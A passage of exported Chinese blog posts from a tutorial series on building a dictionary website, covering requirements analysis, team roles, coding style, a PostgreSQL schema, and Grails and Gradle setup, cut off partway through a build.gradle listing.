僅憑這一點敘述，會讓各個不同的工程師發會想像完成網站的一部分。以系統流程來說好了：後端工程師可能會會認為使用者(大學生)在網頁中輸入任何一個中文字，將使用者輸入的內容丟進資料庫查詢出結果，再將查詢結果資訊丟給使用者即可。在前端工程師的角度可能就是畫出一個可以給使用者輸入的文字方塊，丟給伺服器查詢，等到伺服器回傳資料再顯示給使用者。如果這時候沒有事先規範好前端、後端要如何完成查「查尋文字意思」的系統流程，有很大個機率會出現前端丟給後端資料，後端接收不到的狀況，反之亦然。我這邊只是舉個前後端的例子，在我的工作經驗中，有的情況是一條龍流程：需求訪談、需求分析、系統開發、系統測試、系統上線;也有情況是，多人一起完程一個階段任入。一個人在不同時期點會有不同的思考角度，例如：我在大學一直追求Java的程式如何寫到簡潔，到了現在是如何透過程式撰寫優美的SOP。更何況是兩人以上的合作模式。了減少不同思考角度間的溝通成本，因此在需求分析階段需要把下列事項定義清楚：\n系統使用者 誰會使用系統 系統目標 這個系統是為了處理什模事情 系統流程 要如何完成事情 隱藏的需求 # 拿到需求敘述後，第一步事先依敘述畫出一個資訊流程：\n(大學生)在網頁中輸入要搜尋的文字 (系統)在資料庫中搜尋文字的資料 (系統)將文字資訊呈現在網頁中 (大學生)在網頁中知道文字的資訊 畫完資訊流程後，會發現「資料庫」裡面的資料從哪裡來？裡面的資料誰要輸入？\n所以這就是在需求訪談的結果沒有提及的隱藏需求，通常遇到這種需求會需要再向受訪者確認，更糟的是由分析師自行發揮想像力因應隱藏需求的設計方案。以下就是這次舉例隱藏需求的設計方案：\n1 由志願者將中文「字」、「詞」的文意資訊，在網頁中輸入儲存至系統中。 系統使用者 # 在上述的需求敘述中，有一個明確的使用者:「不識字的人」\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-04.%E6%8A%80%E8%A1%93%E5%88%86%E5%B7%A5-%E9%9C%80%E6%B1%82%E5%88%86%E6%9E%90/","section":"Posts","summary":"來架個網站吧-04.技術分工-3: 需求分析 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-04.技術分工-3: 需求分析","type":"post"},{"content":" 來架個網站吧-05.技術分工-4: 系統開發 # tags: 來架個網站吧 # 我是目錄\n需求訪談完成之後就是開始動工啦～\n已目前的經驗來說，在需求訪談與分析階段，技術能不能達到要求都不是重點，本身的重點是技術如何滿足需求。以目前大部分公司的開發階段會切成以下類別：\n前端 後端 前端 與 後端 # 在網站工程中，常常聽到「前端」與「後端」，但是什麼是前端？什麼是後端？\n以我自己本身的經驗，對一般人比較能理解的說法是：用瀏覽器開一個網站，眼睛看得到絕大部分都是前端技術，眼睛看不到的都是後端技術。但是在時務經驗中，前端技術也可以寫後端，例如：Note.js。後端技術也可以應用在瀏覽器，例如：Java Applet。原則上技術本質是中性的，沒有絕對只有適合而已。在工作中，後端工程師也會需要處理前端丟過來的問題，進而協助前端如何處理資料傳輸的問題。前端也會需要如何用JavaScript產生文件的時後。在網站領域做了一段時間，兩端多少都需要碰到，只是早晚問題。\n這一系列開始，我會介紹程式基礎。程式語言基礎的部份，我選擇JAVA。沒有其他原因，就我自己比較熟悉而已。接下來會介紹資料資料庫，以及如何操作。整體後端大略介紹完後，不會開始介紹前端基礎技術HTML、CSS、JavaScript，因為我真的不懂。\n前端 # 前端領域在我剛開始進入這個領域時只需要下列技能:\n切版 HTML CSS javaScript 現在除了要會切版之外，還要學會如何接API、做OAuth 2.0\u0026hellip;\u0026hellip;等等，幾乎快跟五年前的後端處理的事情融合了，只能說資訊技術前進的很快。當然在這塊領域上我也只能follow大致上的方向，畢竟時間與經歷有限。所以無法帶給大家深廣的資訊。\n後端 # 後端的領域中，不外乎是處理業務邏輯為主，當然偶爾處理一下古老前後端不分離的技術框架，例如：JSP。\n10幾年前，剛接觸資訊領域時當時是以JEE框架為主流，也就是良葛格當時的主力作品:Servlet/JSP，然而在五年前踏入這個行業時，Spring則是當時火紅的技術框架，當時的所有的技術論壇真的是春天滿天飛呀～\n資料庫 # 資料庫規劃開發也是在網站應用系統功能中，佔重要比重很高的一向技術。因為每個網站近乎一定有資料庫運作。在這個領域我認為是最難處理的一部分，因為沒有什麼好或不好的資料設計。\n為什麼這樣說？\n以規劃主鍵來說：雙主鍵很適合做報表產製為目的的設計，因為後續撈報表很容易知道這張資料表的要紀錄的業務主要資訊。流水主鍵設計很適合做物件導向李的資料，一筆資料代表一個物件。\n另外，還要依需求資料與硬體規劃等設計合適的資料型態、索引、table space、資料表分頁、資料庫分庫。\n在資料庫的運作上也得考慮要做或能不能做高可用性(high availability)。\n虛擬 x 容器 # 這邊講的虛擬是指作業系統安裝在虛擬環境中，如: VMWare。容器，例如: docker。\n在網站系統當中，通常會直接採用虛擬化服務，因為可以靈活配置系統運算效能。在網站應用程式伺服器通常會配置在容器中，容器有比虛擬機更靈活的水平擴展能力，建立一容器服務可以在短短的幾秒鐘完成服務部署。\n系統測試 # 開發完成之後，一定要做測試而且最好是單元測試。\n大部分的人一定會跟你說：「要做單元測試。」就好比參加只考時考試券寫完要做檢查一樣(話說指考好像沒了)。但現實是，開發完成之後，通常隔天系統就要交付給客戶測試啦～\n台灣？的環境使然，雖然現在無法做、明天還是無法做。\n只要提倡再久一點，讓名為「滿天窗的系統bug」的子彈再飛一會兒或許客戶就會重視，騰出專案時間與預算來做。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-05.%E6%8A%80%E8%A1%93%E5%88%86%E5%B7%A5-%E7%B3%BB%E7%B5%B1%E9%96%8B%E7%99%BC/","section":"Posts","summary":"來架個網站吧-05.技術分工-4: 系統開發 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-05.技術分工-4: 系統開發","type":"post"},{"content":" 來架個網站吧-06.技術分工-5: 系統維運 # tags: 來架個網站吧 # 我是目錄\n維運 # 網站架設好之後沒有人管理，這個網站不久會「死」。不是鬼月剛過完我想鬼故事。\n通常死因很多，通常有以下幾點:\n吃太飽，脹死: 網站日誌在一小段時間增長太多，把硬碟空間塞滿，導致系統逐漸癱瘓。 頭腦燒，忙死： 網站程式問題造成系統突發崩潰。 無法反應，慢死： 網站流入超出預期的使用人數，造成網站系統反應慢。 沒有能量，餓死： 某某電力公司發電廠跳脫，UPS電力耗盡，網站預警關機。 為了預防、解決上述狀況，維運的工作不可少。好的維運人員可以避免因上述發事件發生網站異常。所以，停電了！但是維運人員在滑手機、網站沒有出現狀況，是好事！該加薪！\n資安 # 給我你的電話號碼，我不要。給我一所學校師生的電話號碼，即使一桶金交換我也願意。\n試想，得到電話號碼可以做什麼？\n「兒子呀～你現在在哪裡？快來救我～～～」、「先生您好，您符合30萬放款資格，手續費0元。」、「恭喜王○○，獲得iphone15 pro ，請附上郵資以便寄送」\u0026hellip;\u0026hellip;等資訊是否接收過？\n如果覺得只是詐騙而已，但是一天四、五則訊息、電話，不會覺得被騷擾、煩躁？\n資安這一塊領域最近在網站變得如此重要，以往網站開發全面以功能導向，如今必須把資安面向當作基本考慮因素。以前會覺得是有專責即可，今天得從需求訪談開始就得考慮。\n所以，網站工程人員，辛苦了！該加薪！\n專案管理: 實際上分工有好也有壞，但壞處可以透過「溝通」解決 # 不過後來我入職到現在，也不是一直都接觸這些。也許是環境因素讓我在後端領域可是碰了不少，如：SpringBoot衍生框架、資料庫、作業系統、虛擬化設備' 容器伺服器、硬體設備、網路設備\u0026hellip;\u0026hellip;等，要說接觸的廣也好，說廣兒不精也好，我都接受這些看法。重點是能夠如何解決當前問題與規劃未來系統運作才是我目前的工作重點。\n話說回來，越多人開發、開發時程越久、生命週期越久的網站，「溝通」越顯的重要。\n這時後專案管理師的功能就出現啦！有人負責規劃一個網站的開發進度、支援生命週期要到什麼時候\u0026hellip;\u0026hellip;等，讓技術人員可以專心處理網站開發上的各種難題是一件好事。工程人員也可以不用講客戶聽不懂的程式語言給人聽啦～\n專案管理的部份我完全外行，推這一系列的文章給大家: 轉職PM在IT業的生存之道\n整體技術介紹完之後，我想簡單介紹程式撰寫習慣。因為這項關係到日後接手的工程師或是一年以後的自己。\n再來是進入這系列的重點：如何開發網站。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-06.%E6%8A%80%E8%A1%93%E5%88%86%E5%B7%A5-%E7%B3%BB%E7%B5%B1%E7%B6%AD%E9%81%8B/","section":"Posts","summary":"來架個網站吧-06.技術分工-5: 系統維運 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-06.技術分工-5: 系統維運","type":"post"},{"content":" 來架個網站吧-07.程式撰寫習慣 # tags: 來架個網站吧 # 我是目錄\n程式碼風格，是一件很抽象的事情。但是在團隊中風格一致，似乎很重要。\n我鮮強調一次是，「似乎」。\n讓我來說說吧 # 一個網站只有一個工程師開發。程式碼風格不一致(應該)沒有關係。例如，縮排、命名規則不一致、包含與更動業務邏輯前的程式片段，如下列範例:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class Main { public static void main(String[] args) { int user_input = 0; //for(int i=1;i\u0026lt;=9;i++) { // for(int j=1;j\u0026lt;=i;j++) { // System.out.print(j+\u0026#34;×\u0026#34;+i+\u0026#34;=\u0026#34;+i*j+\u0026#34;\\t\u0026#34;); // } // System.out.println(); // } int Not_too_good = 60; int OK = 80; int good = 100;String showMsg = \u0026#34;\u0026#34;; if(user_input \u0026lt; Not_too_good){ showMsg = \u0026#34;Not too good\u0026#34;; }else if(user_input \u0026lt; OK){ showMsg = \u0026#34;Not bad\u0026#34;;}else if(user_input \u0026lt; good){ showMsg = \u0026#34;OK\u0026#34;; }else{ showMsg = \u0026#34;Good\u0026#34;; } System.out.println(showMsg); } } 上述程式碼確實可以執行，可是相信大家都閱讀得很痛苦吧？這也是我第一個專案接手的程式碼品質，裡頭中充趕專案時程、能跑就好的影子，後續如何出了什麼狀況以後再說。\n下列是我整理過後的程式片段：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 /* * 判別分數工具 */ public class Main { public static void main(String[] args) { int userInput = 0; String showMsg = \u0026#34;\u0026#34;; final int NOT_TOO_GOOD = 60; final int OK = 80; final int GOOD = 100; if(userInput \u0026lt; NOT_TOO_GOOD){ showMsg = \u0026#34;Not too good\u0026#34;; }else if(userInput \u0026lt; OK){ showMsg = \u0026#34;Not bad\u0026#34;;} else if(userInput \u0026lt; GOOD){ showMsg = \u0026#34;OK\u0026#34;; }else{ showMsg = \u0026#34;Good\u0026#34;; } System.out.println(showMsg); } } 這樣的程式片段會比上述的狀況好閱讀的多了。\n程式碼其實是一份協調過的文件 # 程式碼執行的結果最後還是由使用者進行操作、反饋。而程式開發人員其實也只是將各種的討論結果寫成程式碼而已。在我的職涯的前一兩年每天都會在不停的Codding，之後大部分的時間都在閱讀文件，如：需求設計文件、規格、技術文章。還有進行除錯、研究如何將新的技術導入專案中等等非寫程式碼的工作，大約一天只會有一到兩個小時執行Codding。\n如果專案時程排的緊，其實很難回頭查看程式碼的品質。有時候是真的為了替老專案(十幾年的系統)導入新技術，花了好幾個夜晚趕出來，真的能跑且達到新需求要求就很不錯。\n風格？品質？沒有多餘的精力、時間就只能先暫時擱置，畢竟只是為了養家餬口而已。所以一開始我說「程式碼風格似乎很重要」。\n以這種角度來說，程式品質其實也是各方協調下來的結果。\n為了解決時程緊迫這種困境，後來在報新的專案開發時程，我都會多估一到五天的開發人天做程式碼品質檢測，這樣如此一來就可以漸漸把程式品質提昇，同時系統問題也越來越少，因為好閱讀好維護。\n品質要求 # 以下是我對自己的品質要求：\n變數命名:以駝峰式。 常數命名:以大寫加下滑線，且為名詞為主。 function: 以駝峰式，且為動詞為主。 className: 以駝峰式，且為名詞為主。 排版以扁平編排為優先，盡量避免巢狀編排。 ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-07.%E7%A8%8B%E5%BC%8F%E6%92%B0%E5%AF%AB%E7%BF%92%E6%85%A3/","section":"Posts","summary":"來架個網站吧-07.程式撰寫習慣 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-07.程式撰寫習慣","type":"post"},{"content":" 來架個網站吧-08.開發環境建置 # tags: 來架個網站吧 # 我是目錄\n所以我要如何開發網站？ # 網站，最基本的功能是有目的的資訊交流平台。所以開發一個網站需要先探討，是為誰建立的？使用目的是什？接下來才是後續的系統流程設計與開發。\n這邊我先設定架設網站的目標：給中學生查詢的網站字典。之後架設網站時，我會以我自己在學生時期的經驗為範本，逐步構出需求。\n在架設網站的資金預算方面是零元。沒有說錯是零元！身為窮到只剩下技術的「工程屍」錢都拿去養家餬口了，再沒有金主的贊助下預算一切都是零元。\n以下開放贊助\n確認好需求目標之後，就是先想出要如何完成需求目標啦！以下是我的方案：\n開發的技術框架是使用Grails，資料庫方面是使用Postgreql。 網站平台會採用硬體自架硬體平台，然後使用Proxmox作為虛擬機平台。網站的作業系統會以Debian為主。 上線之後是「維運」的開始。在網路的世界中，沒有一個網站是永遠沒有意外的。一定會有人發現系統問題，一定會出現網站失去服務功能。當出現意外時，要如何處置，還有要怎麼讓開發者(團隊)知到出現問題，是網站的生命週期中很重要的一環。而且「維運」這一階段，從第一次上線或是開發階段就已經開始，直到網停止服務的當下才會結束。另外，這部份也是佔最多「人力」、「金錢」、「物力」資源的部份。 開發環境建置 # 在學習程式語言時，必須先建立開發環境。不過等等！有些人想要踏入軟體工程這門領域前，想先看看自己是不是真的要往這方面發展。沒有關係，現在也有線上的環境，只要能打開電腦而且連上網路，就可以開始練習了。關於這一系列我找了下面幾個線上環境供參考：\nJAVA: https://www.learnjavaonline.org/ SQL: https://www.learnsqlonline.org/ JavaScript: https://www.learn-js.org/ HTML: https://www.learn-html.org/ 如果一開始有遲疑，經過線上得初始之臺確定要踏進來，那就開始建立自己的開發環境吧！\n先說建立開發環境時會遇到的狀況吧！\n「每個人建立開發環境遇到錯誤時，不一定會是相同的狀況。」\n或許，是每個人的電腦環境不一樣，或許是自己忘記設定某項參數等等，都有可能。但是別怕！有Google。一邊除錯一邊上網尋找解答一邊嘗試，是現在開發過程的必經之路。因為人腦記憶有限，即始今天可以解決河內塔問題，五年十年之後，當下也不一定能立刻解決。不過經過上網搜尋，或是詢問別人後，或許就可以找回之前的記憶，如何處理。\n一個放置筆記的工具 # 這是非常重要的事情。筆記可以是紙本筆記本也可以是電子形式的，只要可以記下工作上遇上的困難、解決困難的工具都可以。\n開發的過程中，記得養成記筆記得習慣。最好是習慣每天寫下自己坐下哪些事情。\n有了這些紀錄，之後需要回想工作上某件事情時，速度會比較快。\n而我自己做筆記的工具是vscode + git，一方面是可以接近免費達到跨裝置跨平台，一方面單純我習慣用筆記本做紀錄而已。\n開發工具-intelliJ IDEA # 先說好，我沒有為他打廣告。只是我覺得很好用而已。另外，學習完程式語言的基本功後，就是不斷學習各個框架的用法，這時IDEA就是很好的學習工具，因為他可以自動提示用法，甚至可以很輕鬆找到 source code 是怎寫，在職場學習上市很不錯的唷。\n資料庫: postgresql # 這邊我是舉一個資料庫為例，學習資料庫不必每種資料庫都摸的徹底，對於網站程式開發人員熟悉一種資料庫即可，畢竟現在很多程式框架已經作到程式與資料庫隔離。但是這邊也必須提醒一下，如果未來想持續在網站領域發展的，就必須清楚了解一種資料庫的行為，對日後系統效能調校上會很有幫助。\n網站框架: Grails # 想想10幾年前寫一個網站，在JAVA 生態是用 J2EE 規範中建立伺服器網站。每一項程式細節功能，如資料庫操作、網頁畫面呈現必須透過開發工程師一項一項開發。自從有了框架概念之後，網站的開發工程師就不必在開發每項系統功能注意資料庫連線有關閉、HTML 有寫錯等等，就可以很專心處理程式業務邏輯上的開發。\n在這次的系統我以 Grails 為開發框架，沒有什麼原因，只是我比校熟悉而已。\n在這邊我也不教Grails 如何使用，畢竟獲取學習資源且自我閱讀學習是一個資訊專業人事必備的技能，天下技術如此多，要學習靠自己吧！下列是學習資源:\ngrails 官方網站 邊看邊學Groovy/Grails/Gradle 系列 intellij Grails plugin Getting Started With Grails 以上就是開發環境會用的的工具啦！\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-08.%E9%96%8B%E7%99%BC%E7%92%B0%E5%A2%83%E5%BB%BA%E7%BD%AE/","section":"Posts","summary":"來架個網站吧-08.開發環境建置 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-08.開發環境建置","type":"post"},{"content":" 來架個網站吧-09.系統流程規劃 # tags: 來架個網站吧 # 我是目錄\n昨天大致上說明了開發環境準備的工作，於是可以開始著手開始開發了。在大學時期的我通常一直是這認為的。\n在網站開發之前，得先有系統設計。就讓我繼續拿線上字典的例子繼續吧！\n確認需求項目 # 在規劃系統流程之前，首要事項是確認需求項目。下列是我歸納的需求項目：\n系統使用者: 初淺識字的人 使用者需求: 透過文字搜尋詞彙語意 預期使用人數(處理效能要求): 每分鐘10次查詢 系統資料來源: 國語小字典 資訊流程： (大學生)在網頁中輸入要搜尋的文字 (系統)在資料庫中搜尋文字的資料 (系統)將文字資訊呈現在網頁中 (大學生)在網頁中知道文字的資訊 規劃系統流程 # 在學生時期有以下列資訊圖表示：\nUser Case 系統流程圖 領域模型圖(DFD資料流程圖) 但是在職場上實際上往往只有「系統流程圖」，原因很簡單，與需求確認的對象往往看不懂。因為我認為圖示用來溝通的，如果對方有很大一部份都看不懂，必須得花費一小時甚至更久先聽完解說，聽完之後或許不會立刻了解。有了一兩次實物經驗後，在跟客戶對談前，系統流程圖夠表達雙方認定的作業流程即可。\n以下就是這次的系統流程規劃：\n系統雛型 # 網站功能如果有提供使用者介面，做好先做雛型畫面，而且雛型畫面必須與不同觀點的人參預討論，通常會邀請下列人參預：系統開發人員、前端技術人員、需求訪談者、系統使用者。\n通常會優先跟需求訪談者、系統使用者初次確認系統畫面，在此次確認的項目如下：\n系統功能 操作流程順暢 系統雛型如下\n確認沒有問題之後，才會跟系統開發人員、前端技術人員說明系統雛型。如果這階段有人說技術難很高時就會採減法策略，優先不處理與業務不相關的項目，以我自己來說就是畫面要很漂亮、很美麗(我只繪畫火柴人程度而已)。如果技術難以克服的項目與系統主要業務項目重疊時，會採用小步快跑策略。把技術難以達成的業務項目再切割，例如系統要承受每分鐘10次查詢這項需求可以做完查詢功能再探討如何達成目標。\n以上就是系統流程規劃部份，接下來就要進入資料規劃。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-09.%E7%B3%BB%E7%B5%B1%E6%B5%81%E7%A8%8B%E8%A6%8F%E5%8A%83/","section":"Posts","summary":"來架個網站吧-09.系統流程規劃 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-09.系統流程規劃","type":"post"},{"content":" 來架個網站吧-10.資料規劃 # tags: 來架個網站吧 # 我是目錄\n完成需求訪談與系統流程規劃後，接下來就是資料規劃。\n恩～距離打程式碼真的還有一段路 XDDD\n在規劃資料表前需要考慮一些因素\n系統資料來源 系統功能 使用的技術框架 未來資料成長量 上述因素是我在規劃資料表時必須考慮的因素。\n系統資料來源 # 這次的需求資料來源是國語小字典，下圖是資料的部份擷圖。\n乍看之下，有一點亂\n觀察資料之後，可以設計下列資料表欄位:\n[項目]: [規劃欄位英文名稱] / [欄位資料型態]/ [長度] 單字: word / 文字 / 1 部首: radical / 文字 / 1 總筆畫數: total_strokes / 數值 / N/A 部首外筆畫: out_strokes / 數值 / N/A 注音: mpc / 文字 / 4 解釋: explanation / 很多文字 / N/A 系統功能 # 看完資料之後，接下來要將系統功能加入考慮因素。此次的功能有搜尋單字、系統要承受每分鐘10次查詢，所以欄位單字會開定長。\n[項目]: [規劃欄位英文名稱] / [欄位資料型態]/ [長度] 單字: word / 定長文字 / 1 部首: radical / 文字 / 1 總筆畫數: total_strokes / 數值 / N/A 部首外筆畫: out_strokes / 數值 / N/A 注音: mpc / 文字 / 4 解釋: explanation / 很多文字 / N/A 使用的技術框架 # 技術框架也會影響資料規劃，本次是使用下列技術:\n資料庫: Postgresql-15 框架(Framework): Grails 以資料庫來說，可變動文字型態，在Oracle 會是以 varchar2，如果資料欄位中預期會有中文字則會採用nvarchar2，在postgresql需要規劃varchar即可。\n本次是使用postgresql，所以下列是加入資料庫因素的資料表欄位:\n[項目]: [規劃欄位英文名稱] / [欄位資料型態] 單字: word / char(1) 部首: radical / varchar(1) 總筆畫數: total_strokes / integer 部首外筆畫: out_strokes / integer 注音: mpc / varchar(4) 解釋: explanation / text 另外在程式技術框架，因為Grails 是採用事先約定規則，因此在規劃資料需要多開下列欄位\nid version dateCreated lastUpdated 以下是這次資料表的完整規劃\n[項目]: [規劃欄位英文名稱] / [欄位資料型態] / [其他] id: id / bigint version: version / integer dateCreated: date_created / timestamp lastUpdated: last_updated / timestamp 單字: word / char(1) 部首: radical / varchar(1) 總筆畫數: total_strokes / integer 部首外筆畫: out_strokes / integer 注音: mpc / varchar(4) 解釋: explanation / text table schema # 以下是最後完成的table schema\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 create table dict( id bigint generated always as identity, version integer default 0, date_created timestamp default CURRENT_TIMESTAMP, last_updated timestamp, word char(1), radical varchar(1), total_strokes integer, out_strokes integer, mpc varchar(4), explanation text, CONSTRAINT dict_pk PRIMARY KEY (id) ); comment on table dict IS \u0026#39;字典\u0026#39;; comment on column dict.word is \u0026#39;單字\u0026#39;; comment on column dict.radical is \u0026#39;部首\u0026#39;; comment on column dict.total_strokes is \u0026#39;總筆畫數\u0026#39;; comment on column dict.out_strokes is \u0026#39;部首外筆畫\u0026#39;; comment on column dict.mpc is \u0026#39;注音\u0026#39;; comment on column dict.explanation is \u0026#39;解釋\u0026#39;; create unique index dict_un1 on dict (word); ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-10.%E8%B3%87%E6%96%99%E8%A6%8F%E5%8A%83/","section":"Posts","summary":"來架個網站吧-10.資料規劃 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-10.資料規劃","type":"post"},{"content":" 來架個網站吧-11.網站開發-1: 建立專案 # tags: 來架個網站吧 # 我是目錄\n建立 git 儲存庫 # 不管是新增一個實驗性的網站功能，或是範例的程式，能導入git是一個不做的選擇。所以在這邊我先在gitHub開一個儲存庫:ironman-dict\n新增完成之後就是直接把git專案下載到本機中:\ngrails 開發環境部署 # JDK # Grails 本身是 JVM Base 的框架，因此記得下載 JDK，本次採用 JDK17。\ngrails # 建立專案之前，首先去官方網站下載 Grails SDK，本次採用 Grails5.3.3。\n官方網站下載頁面: https://grails.org/download.html\n下載完成之後見得解壓縮。\nintellij # 我自己是習慣使用 IntelliJ IDEA Ultimate進行開發，在Grails 3.0.17 版本以前還有 Eclipse、NetBeans這兩個IDE可以選擇，之後久只剩下 IntelliJ IDEA Ultimate。當然 vim、NotePad++等文字編輯器依然可以進行開發。\n另外，在 IntelliJ IDEA Ultimate 2022 之後需要自行下載 Grails Plugin才能正常部署。\n建立專案 # 新增完git專案之後，接下來是新增一個Grials專案，步驟如下：\n打開 intellij 選擇新New Project 新增grails類型專案 輸入專案目錄位置，點擊Finish 等一會兒時間專案就自動建立完成 啟動前建議先修改一下啟動參數，避免多個專案同時啟動出現port衝導致專案無法啟動的狀況 設定 File encodings 為 UTF8 這部份主要是解決grails-apps/i18n 裡的多國語言設定呈現亂碼的狀況。\n點擊右上角的啟動按鈕就可以檢查專案可以正常啟動 ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-11.%E7%B6%B2%E7%AB%99%E9%96%8B%E7%99%BC-1-%E5%BB%BA%E7%AB%8B%E5%B0%88%E6%A1%88/","section":"Posts","summary":"來架個網站吧-11.網站開發-1: 建立專案 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-11.網站開發-1: 建立專案","type":"post"},{"content":" 來架個網站吧-12.網站開發-2: 設定環境參數-1 # tags: 來架個網站吧 Grails # 我是目錄\n昨天可以開啟專案之後，新增最主要的工作內容就是把專案連上資料庫\n安裝開發資料庫 # 安裝 # 資料庫版本: postgresql 15 因為 postgresql 官方網站已經有詳細的安裝步驟，在這邊就不贅述。\npostgresql 下載網址: https://www.postgresql.org/download/\n開資料庫 # 安裝完成資料庫之後，就可以建立資料庫，指令如下:\n進入資料庫 1 sudo -u postgres psql 執行sql 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 -- 新增資料庫 CREATE DATABASE ironman_dict_db; -- 新增資料庫角色 CREATE ROLE dict_dba NOINHERIT; -- 授予 dict_dba 角色可連線至 ironman_dict_db 資料庫 GRANT CONNECT ON DATABASE ironman_dict_db TO dict_dba; -- 授予 dict_dba 在 DATABASE 所有權限 GRANT ALL ON DATABASE ironman_dict_db to dict_dba; -- 新增 dict_ap 使用者 CREATE USER dict_ap WITH PASSWORD \u0026#39;LF2.net\u0026#39;; -- 把 dict_ap (user role) 加入 dict (group role) 中 GRANT dict_ap TO dict_dba; 設定專案環境參數 # 確認專案可以正常部署之後，接下就是針對當前的專案環境修改內容。主要修改下列文件\ngradle.properties build.gradle grails-app/conf/application.yml gradle.properties # 1 2 3 4 5 6 7 8 9 grailsVersion=5.3.3 grailsGradlePluginVersion=5.3.0 groovyVersion=3.0.11 gorm.version=7.3.3 org.gradle.daemon=true org.gradle.parallel=true org.gradle.jvmargs=-Dfile.encoding=UTF-8 -Xmx1024M springBootVersion=2.7.13 hibernateCore=5.6.15.Final grailsVersion: 當前的grails版本 grailsGradlePluginVersion: 當前的Grails Gradle Plugin版本，通常與 grailsVersion 一致 groovyVersion: groovy 版本，建議只升級小版本號，跨中間版本號有可能出現can\u0026rsquo;t not find symbol。 gorm.version: Grails GORM 版本，建議只升級小版本號。 springBootVersion: 這個參數是我自行新增的，主要是為了更新 spring Boot，建議只升級小版本號。 hibernateCore: 這個參數是我自行新增的，主要是為了更新 hibernate Core，建議只升級小版本號。 build.gradle # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 buildscript { repositories { maven { url \u0026#34;https://plugins.gradle.org/m2/\u0026#34; } maven { url \u0026#34;https://repo.grails.org/grails/core\u0026#34; } } dependencies { classpath \u0026#34;org.grails:grails-gradle-plugin:$grailsGradlePluginVersion\u0026#34; classpath \u0026#34;gradle.plugin.com.github.erdi.webdriver-binaries:webdriver-binaries-gradle-plugin:2.6\u0026#34; classpath \u0026#34;org.grails.plugins:hibernate5:7.3.0\u0026#34; classpath \u0026#34;com.bertramlabs.plugins:asset-pipeline-gradle:3.4.7\u0026#34; } } version \u0026#34;0.1\u0026#34; group \u0026#34;ironman.dict\u0026#34; apply plugin:\u0026#34;eclipse\u0026#34; apply plugin:\u0026#34;idea\u0026#34; apply plugin:\u0026#34;war\u0026#34; apply plugin:\u0026#34;org.grails.grails-web\u0026#34; apply plugin:\u0026#34;com.github.erdi.webdriver-binaries\u0026#34; apply plugin:\u0026#34;org.grails.grails-gsp\u0026#34; apply plugin:\u0026#34;com.bertramlabs.asset-pipeline\u0026#34; repositories { mavenCentral() maven { url \u0026#34;https://repo.grails.org/grails/core\u0026#34; } } configurations { developmentOnly runtimeClasspath { extendsFrom developmentOnly } } dependencies { developmentOnly(\u0026#34;org.springframework.boot:spring-boot-devtools\u0026#34;) compileOnly \u0026#34;io.micronaut:micronaut-inject-groovy\u0026#34; console \u0026#34;org.grails:grails-console\u0026#34; implementation \u0026#34;org.springframework.boot:spring-boot-starter-logging:${springBootVersion}\u0026#34; implementation \u0026#34;org.springframework.boot:spring-boot-starter-validation:${springBootVersion}\u0026#34; implementation \u0026#34;org.springframework.boot:spring-boot-autoconfigure:${springBootVersion}\u0026#34; implementation \u0026#34;org.springframework.boot:spring-boot-starter-actuator:${springBootVersion}\u0026#34; implementation \u0026#34;org.springframework.boot:spring-boot-starter-tomcat:${springBootVersion}\u0026#34; implementation \u0026#34;org.grails:grails-core\u0026#34; implementation \u0026#34;org.grails:grails-web-boot\u0026#34; implementation \u0026#34;org.grails:grails-logging\u0026#34; implementation \u0026#34;org.grails:grails-plugin-rest\u0026#34; implementation \u0026#34;org.grails:grails-plugin-databinding\u0026#34; implementation \u0026#34;org.grails:grails-plugin-i18n\u0026#34; implementation \u0026#34;org.grails:grails-plugin-services\u0026#34; implementation \u0026#34;org.grails:grails-plugin-url-mappings\u0026#34; implementation \u0026#34;org.grails:grails-plugin-interceptors\u0026#34; implementation \u0026#34;org.grails.plugins:cache\u0026#34; implementation \u0026#34;org.grails.plugins:async\u0026#34; implementation \u0026#34;org.grails.plugins:scaffolding\u0026#34; implementation \u0026#34;org.grails.plugins:hibernate5\u0026#34; implementation \u0026#34;org.hibernate:hibernate-core:${hibernateCore}\u0026#34; implementation \u0026#34;org.grails.plugins:events\u0026#34; implementation \u0026#34;org.grails.plugins:gsp\u0026#34; profile \u0026#34;org.grails.profiles:web\u0026#34; runtimeOnly \u0026#34;org.glassfish.web:el-impl:2.2.1-b05\u0026#34; runtimeOnly \u0026#34;org.apache.tomcat:tomcat-jdbc\u0026#34; runtimeOnly \u0026#34;javax.xml.bind:jaxb-api:2.3.1\u0026#34; runtimeOnly \u0026#34;com.bertramlabs.plugins:asset-pipeline-grails:3.4.7\u0026#34; testImplementation \u0026#34;io.micronaut:micronaut-inject-groovy\u0026#34; testImplementation \u0026#34;org.grails:grails-gorm-testing-support\u0026#34; testImplementation \u0026#34;org.mockito:mockito-core\u0026#34; testImplementation 